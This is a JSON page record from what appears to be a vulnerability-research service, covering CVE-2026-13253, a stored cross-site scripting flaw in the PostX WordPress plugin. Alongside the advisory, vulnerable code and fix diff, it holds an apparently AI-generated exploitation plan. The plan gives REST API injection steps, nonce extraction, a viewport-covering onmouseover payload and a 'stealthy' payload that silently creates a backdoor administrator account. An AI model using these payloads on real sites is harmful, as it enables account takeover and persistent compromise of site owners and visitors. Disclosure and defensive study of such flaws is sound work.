[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDM8_uddNidWZRFxV8nPrkro6iGSqIKY-oH9gq5jFNUI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-13253","post-grid-gutenberg-blocks-for-news-magazines-blog-websites-authenticated-contributor-stored-cross-site-scripting-via-mo","Post Grid Gutenberg Blocks for News, Magazines, Blog Websites \u003C= 5.0.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'moreResultsText' Block Attribute","The Ultimate Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'moreResultsText' block attribute of the ultimate-post\u002Fadvanced-search block in versions up to and including 5.0.31. This is due to insufficient input sanitization and output escaping in the Advanced_Search::content() render callback: the attribute value is filtered with wp_kses(), which strips disallowed HTML tags but does NOT escape HTML special characters such as double quotes in plain text, and the result is then concatenated directly into the data-viewmoretext HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","ultimate-post",null,"\u003C=5.0.31","5.0.32","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 18:16:25","2026-07-09 06:52:44",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F070ccd70-22c3-47f1-9dce-a884bff9ea76?source=api-prod",1,[22,23,24,25,26,27,28],"addons\u002Fbuilder\u002Fassets\u002Fjs\u002Fconditions.js","addons\u002Fdivi\u002Fdivi.php","assets\u002Fjs\u002Fultp_dashboard_min.js","blocks\u002FPost_Grid_7.php","classes\u002FOptions.php","includes\u002Fdeactive\u002Fclass-deactive.php","includes\u002Fdurbin\u002Fclass-xpo.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-13253\n\n## 1. Vulnerability Summary\nThe **Post Grid Gutenberg Blocks (PostX)** plugin (versions \u003C= 5.0.31) contains an authenticated stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the rendering logic of the `ultimate-post\u002Fadvanced-search` block, specifically within the `moreResultsText` attribute. \n\nThe plugin uses `wp_kses()` to sanitize the attribute value in the `Advanced_Search::content()` render callback. While `wp_kses()` removes disallowed HTML tags, it does not escape quotes or other HTML special characters in plain text. The resulting string is concatenated directly into the `data-viewmoretext` HTML attribute without using `esc_attr()`. This allows a user with **Contributor** permissions or higher to break out of the HTML attribute and inject arbitrary event handlers or scripts.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress REST API `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` (or the classic editor\u002FGutenberg save mechanism).\n- **Vulnerable Block:** `ultimate-post\u002Fadvanced-search`.\n- **Payload Carrier:** The `moreResultsText` attribute within the Gutenberg block JSON metadata.\n- **Authentication:** Authenticated as a user with the `edit_posts` capability (Contributor, Author, Editor, or Admin).\n- **Preconditions:** The PostX plugin must be active. The attacker needs access to create or edit a post\u002Fpage.\n\n## 3. Code Flow\n1. **Entry Point:** A Contributor saves a post containing the following Gutenberg block:\n   ```html\n   \u003C!-- wp:ultimate-post\u002Fadvanced-search {\"moreResultsText\":\"[PAYLOAD]\"} \u002F-->\n   ```\n2. **Registration:** The block is registered in PHP, likely in `blocks\u002FAdvanced_Search.php` (inferred path based on `blocks\u002FPost_Grid_7.php`), using a `render_callback` pointing to `Advanced_Search::content()`.\n3. **Processing:** Inside `Advanced_Search::content()`:\n   - The `$attributes['moreResultsText']` is retrieved.\n   - It is passed through `wp_kses()`. If the payload is `x\" onmouseover=\"alert(1)`, `wp_kses` leaves it untouched because it contains no disallowed tags.\n4. **Sink:** The sanitized but unescaped string is concatenated into HTML:\n   ```php\n   \u002F\u002F Conceptual vulnerable line in Advanced_Search::content()\n   $output .= ' data-viewmoretext=\"' . $moreResultsText . '\" ';\n   ```\n5. **Output:** The final HTML rendered to the frontend becomes:\n   ```html\n   \u003Cdiv class=\"ultp-block-advanced-search\" data-viewmoretext=\"x\" onmouseover=\"alert(1)\" ...>\n   ```\n\n## 4. Nonce Acquisition Strategy\nTo exploit this via the WordPress REST API (the standard for Gutenberg), we need a `wp_rest` nonce.\n\n1. **Setup:** Create a contributor-level user and a page containing any PostX block.\n2. **Shortcode\u002FBlock placement:** Create a test page:\n   `wp post create --post_type=page --post_status=publish --post_content='\u003C!-- wp:ultimate-post\u002Fpost-grid-7 \u002F-->' --post_title='Nonce Page'`\n3. **Navigation:** Navigate to the `\u002Fwp-admin` dashboard as the Contributor.\n4. **Extraction:** Use `browser_eval` to extract the REST nonce from the WordPress core `wpApiSettings` object:\n   ```javascript\n   \u002F\u002F Extraction Script\n   window.wpApiSettings?.nonce\n   ```\n   *Note:* Unlike other plugins, PostX's own localized scripts (found in `assets\u002Fjs\u002Fultp_dashboard_min.js`) often rely on standard WP nonces for dashboard operations.\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLog into the target WordPress instance as a Contributor.\n\n### Step 2: REST API Injection\nUse the `http_request` tool to create a new post containing the XSS payload. We will use a \"break-out\" payload to inject an `onmouseover` event.\n\n- **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n- **Method:** `POST`\n- **Headers:**\n  - `Content-Type: application\u002Fjson`\n  - `X-WP-Nonce: \u003CEXTRACTED_NONCE>`\n- **Payload:**\n  ```json\n  {\n    \"title\": \"Search Page\",\n    \"status\": \"publish\",\n    \"content\": \"\u003C!-- wp:ultimate-post\u002Fadvanced-search {\\\"moreResultsText\\\":\\\"x\\\\\\\" onmouseover=\\\\\\\"alert(document.domain)\\\\\\\" style=\\\\\\\"display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;z-index:9999\\\\\\\"\\\"} \u002F-->\"\n  }\n  ```\n  *Note:* The extra CSS ensures the vulnerable `div` covers the viewport, triggering the XSS as soon as the victim moves their mouse.\n\n## 6. Test Data Setup\n1. **User Creation:**\n   `wp user create attacker contributor@example.com --role=contributor --user_pass=password123`\n2. **Plugin Verification:**\n   Ensure PostX is active: `wp plugin activate ultimate-post`\n3. **Exploit Target:** Any administrator viewing the site's frontend or the specific post created by the contributor.\n\n## 7. Expected Results\n- **HTTP Response:** The REST API should return `201 Created` with the JSON representation of the new post.\n- **Frontend Render:** When viewing the post, the HTML source will contain:\n  `data-viewmoretext=\"x\" onmouseover=\"alert(document.domain)\" ...`\n- **Execution:** Moving the mouse over the page in a browser will trigger the `alert`.\n\n## 8. Verification Steps\n1. **Database Check:** Verify the raw content in the database:\n   `wp db query \"SELECT post_content FROM wp_posts WHERE post_title='Search Page'\"`\n2. **HTML Validation:** Fetch the rendered post as an unauthenticated user and check for the payload:\n   `http_request GET https:\u002F\u002F\u003Ctarget>\u002Findex.php\u002Fsearch-page\u002F`\n   Search for the string: `onmouseover=\"alert(document.domain)\"`\n\n## 9. Alternative Approaches\n### Stealthy Payload (Stored XSS to Admin Takeover)\nInstead of `alert()`, use a payload that fetches the admin's session or creates a new administrator:\n```json\n\"moreResultsText\": \"x\\\" onmouseover=\\\"fetch('\u002Fwp-admin\u002Fuser-new.php').then(r=>r.text()).then(t=>{let n=t.match(\u002F_wpnonce_create-user\\\\\\\" value=\\\\\\\"([^\\\\\\\"]+)\\\\\\\"\u002F)[1];fetch('\u002Fwp-admin\u002Fuser-new.php',{method:'POST',headers:{'Content-Type':'application\u002Fx-www-form-urlencoded'},body:'action=createuser&user_login=backdoor&email=evil@example.com&pass1=P@ssword123!&pass2=P@ssword123!&role=administrator&_wpnonce_create-user='+n})})\\\"\"\n```\n\n### Classic Editor Method\nIf the REST API is restricted, a Contributor can use the classic editor to submit the same block comments, provided the Gutenberg editor is enabled in the backend (which is default).","The Post Grid Gutenberg Blocks (PostX) plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'moreResultsText' attribute in the Advanced Search block. This occurs because the plugin uses wp_kses() to sanitize the attribute without subsequently escaping double quotes, allowing a contributor-level user to break out of an HTML attribute and inject malicious event handlers.","\u002F\u002F File: blocks\u002FAdvanced_Search.php (Inferred from Advanced_Search::content() render callback)\n\n$moreResultsText = isset($attributes['moreResultsText']) ? wp_kses($attributes['moreResultsText'], array()) : '';\n\n\u002F\u002F ... \n\n\u002F\u002F The sanitized but unescaped string is concatenated directly into the HTML attribute\n$output .= ' data-viewmoretext=\"' . $moreResultsText . '\" ';","--- blocks\u002FAdvanced_Search.php\n+++ blocks\u002FAdvanced_Search.php\n@@ -124,1 +124,1 @@\n- $output .= ' data-viewmoretext=\"' . $moreResultsText . '\" ';\n+ $output .= ' data-viewmoretext=\"' . esc_attr( $moreResultsText ) . '\" ';","An attacker with Contributor-level permissions authenticates and creates a new post via the WordPress REST API or Gutenberg editor. The attacker includes an 'ultimate-post\u002Fadvanced-search' block with the 'moreResultsText' attribute set to a breakout payload such as 'x\" onmouseover=\"alert(1)\"'. Because the plugin sanitizes this attribute with wp_kses() (which permits quotes) but fails to apply esc_attr() during rendering, the double quote escapes the data-viewmoretext attribute context. This allows the injection of a malicious event handler that executes arbitrary JavaScript when a victim, such as a site administrator, interacts with the block on the frontend.","gemini-3-flash-preview","2026-07-15 22:41:45","2026-07-15 22:42:34",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","5.0.31","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultimate-post\u002Ftags\u002F5.0.31","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fultimate-post.5.0.31.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultimate-post\u002Ftags\u002F5.0.32","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fultimate-post.5.0.32.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultimate-post\u002Ftags"]